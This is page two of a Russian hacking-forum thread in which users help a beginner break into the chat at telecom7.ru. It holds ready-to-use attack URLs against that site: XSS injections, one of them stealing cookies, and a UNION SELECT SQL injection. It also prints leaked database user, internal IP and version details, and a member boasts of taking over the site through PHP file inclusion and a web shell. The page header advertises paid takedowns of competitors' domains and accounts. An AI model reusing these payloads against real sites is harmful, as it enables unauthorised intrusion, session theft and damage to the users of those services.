Помогите пожалуста.сломать чат telecom7.ru

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Чаты
Помогите пожалуста.сломать чат telecom7.ru

Страница 2 из 2

Опции темы

Поиск в этой теме

Опции просмотра

...

#11

21.10.2006, 05:17

corsp_puttrider

Новичок

Регистрация: 16.10.2006

Сообщений: 18

С нами: 10299862

Репутация: 17

...

Цитата:

Сообщение от vnuki

to kaban ты дал мне эту ссылкук http://www.telecom7.ru/Chat/board.php?ss="><script>alert(/XSS/)</script>
я её вставил и ты дал ещё одну ссылку чтоб почитать но я так толкьом не понял к чему она.если тебе не трудно то обьясни...пожалуста.

Это значит что первый SQL запрос выдал ошибку => тебе надо присоединить еще один SQL запрос UNION SELECT 1,2,3/* вот тогда первый выдает ошибку выполняется второй, по-моему на этом сайте во второй колонке передается индентификатор рмсунка => можно попытаться исполнить произволбный php код ))

#12

21.10.2006, 16:20

vnuki

Новичок

Регистрация: 20.10.2006

Сообщений: 25

С нами: 10294195

Репутация: 16

Цитата:

Сообщение от corsp_puttrider

у тебя есть icq ? дай пожалуста я тебе стукну.и ты мне если не трудно обьясни по понятнее.

#13

21.10.2006, 16:28

Nova

OpenVPN.CC

Регистрация: 15.07.2005

Сообщений: 1,599

С нами: 10958786

Репутация: 1034

Вариант со сукулью не пройдёт не отобразит из за ошибки
http://www.telecom7.ru/Chat/Img.php?id=-211578+union+select+null,user(),null/*

#14

21.10.2006, 19:53

+toxa+

[Лишённый самовыражени

Регистрация: 16.01.2005

Сообщений: 1,787

С нами: 11217866

Репутация: 3812

2 Nova
а если просмотреть исходный код изображения то получем
USER() telecom7@192.168.212.116
VERSION() 4.0.15a
DATABASE() telecom7

__________________

#15

21.10.2006, 21:31

Nova

OpenVPN.CC

Регистрация: 15.07.2005

Сообщений: 1,599

С нами: 10958786

Репутация: 1034

Цитата:

Сообщение от +toxa+

2 Nova
а если просмотреть исходный код изображения то получем
USER() telecom7@192.168.212.116
VERSION() 4.0.15a
DATABASE() telecom7

Мдя а я незаметил =)

#16

18.05.2007, 01:37

JOKER_KILL

Новичок

Регистрация: 19.04.2005

Сообщений: 15

С нами: 11083675

Репутация: 1

Ну так что, его возможно взломать или нет? Что то так никто и не даёт точного ответа! Я слышал что его можно ломануть через сниффер но у меня что то не получилось! Чат его не принимает!

#17

19.05.2007, 23:49

Зубчег

Познающий

Регистрация: 10.12.2006

Сообщений: 41

С нами: 10219573

Репутация: 26

Joker_kill

Что за бред ты несеш? Прочитай посты, а мы о чём говорим?

И с чего ты сделал вывод, что тут хакеров нету? Если ты слепой это твои проблемы...

Цитата:

Ну так что, его возможно взломать или нет?

ЗАПОМНИ

Всё что создано человеком, можно сломать.

#18

20.05.2007, 13:19

[GeW]

Новичок

Регистрация: 18.04.2007

Сообщений: 22

С нами: 10033716

Репутация: 27

Помнится в конце прошлого лета, я его поломал при помощи php-инклудинга. Затем через веб-шелл в eval() накатал скрипт, для смены пароля для определённого пользователя, но из-за ошибки в этом скрипте у всех пользователей пароль сменился на "p4ssw0rd". Админ 3 дня откат БД делал, а вину всю на своего прова свалил). Потом вроде эту багу прикрыли...

#19

20.05.2007, 13:40

Neorin

Познающий

Регистрация: 30.04.2007

Сообщений: 67

С нами: 10016704

Репутация: 40

http://www.telecom7.ru/Chat/board.php?ss="><script>alert(document.cookie)</script>
покруи вызови вторую ошибку и всё будет круть))))

Страница 2 из 2

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
ПомогитЕ !!! подалуста найти кряк	гейлордфакерЪ	Болталка	2	30.08.2007 14:48
ПоМоГиТе! ПЛЗ!!!	farik.aka	Уязвимости Mail-сервис	1	17.09.2006 13:00

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход